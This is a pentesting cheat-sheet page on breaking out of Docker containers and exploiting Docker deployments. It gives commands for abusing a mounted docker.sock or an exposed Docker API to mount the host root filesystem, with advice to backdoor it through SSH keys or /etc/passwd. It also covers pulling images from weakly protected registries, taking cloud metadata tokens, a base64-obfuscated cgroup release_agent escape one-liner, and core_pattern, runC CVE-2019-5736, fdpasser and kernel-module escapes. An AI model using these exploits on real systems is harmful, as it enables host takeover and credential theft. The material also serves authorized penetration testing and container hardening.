Skip to content

Docker Pentest

Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.

Summary

Tools

  • Dockscan : Dockscan is security vulnerability and audit scanner for Docker installations powershell dockscan unix:///var/run/docker.sock dockscan -r html -o myreport -v tcp://example.com:5422
  • DeepCe : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE) powershell ./deepce.sh ./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce ./deepce.sh --no-enumeration --exploit SOCK --shadow ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

Mounted Docker Socket

Prerequisite: * Socker mounted as volume : - "/var/run/docker.sock:/var/run/docker.sock"

Usually found in /var/run/docker.sock, for example for Portainer.

curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start

Exploit using brompwnie/ed

root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true        
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn:  /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Open Docker API Port

Prerequisite: * Docker runned with -H tcp://0.0.0.0:XXXX

$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open  docker  Docker 19.03.5
| docker-version:
|   Version: 19.03.5
|   MinAPIVersion: 1.12

Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in /mnt.

$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
or
$ docker -H  open.docker.socket:2375 ps
$ docker -H  open.docker.socket:2375 exec -it mysql /bin/bash
or 
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'

From there you can backdoor the filesystem by adding an ssh key in /root/.ssh or adding a new root user in /etc/passwd.

Insecure Docker Registry

Docker Registry’s fingerprint is Docker-Distribution-Api-Version header. Then connect to Registry API endpoint: /v2/_catalog.

curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>

# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local

Access a private registry and start a container with one of its image

docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash

Access a private registry using OAuth Token from Google

curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token 
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io

Exploit privileged container abusing the Linux cgroup v1

Prerequisite (at least one): * --privileged * --security-opt apparmor=unconfined --cap-add=SYS_ADMIN flags.

Abusing CAP_SYS_ADMIN capability

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'

Exploit breakdown :

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Abusing coredumps and core_pattern

  1. Find the mounting point using mount ps1 $ mount | head -n 1 overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work)
  2. Create an evil binary at the root of the filesystem: cp /tmp/poc /poc
  3. Set the program to be executed on the coredumps ps1 echo "|/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff/poc" > /proc/sys/kernel/core_pattern
  4. Generate a coredump with a faulty program: gcc -o crash crash.c && ./crash cpp int main(void) { char buf[1]; for (int i = 0; i < 100; i++) { buf[i] = 1; } return 0; }
  5. Your payload should have been executed on the host

Breaking out of Docker via runC

The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team

Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736

$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC

Breaking out of containers using a device file

https://github.com/FSecureLABS/fdpasser
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10  2019 /etc/shadow

Breaking out of Docker via kernel modules loading

When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only one kernel, unlike VMs). This provides a route to an easy container escape.

Exploitation: * Clone the repository : git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping * Build with make * Start a privileged docker container with docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu * cd /root in the new container * Insert the kernel module with ./escape * Run ./execute!

Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; /proc/escape and /proc/output.

  • /proc/escape only answers to write requests and simply executes anything that's passed to it via call_usermodehelper().
  • /proc/output just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.

The clever part is that anything we write to /proc/escape gets sandwiched into /bin/sh -c <INPUT> > /proc/output. This means that the command is run under /bin/sh and the output is redirected to /proc/output, which we can then read from within the container.

Once the module is loaded, you can simply echo "cat /etc/passwd" > /proc/escape and then get the result via cat /proc/output. Alternatively, you can use the execute program to give yourself a makeshift shell (albeit an extraordinarily basic one).

The only caveat is that we cannot be sure that the container has kmod installed (which provides insmod and rmmod). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the init_module() syscall to load the module into the kernel without needing insmod. If you're interested, take a look at the Makefile.

References


Last update: August 30, 2022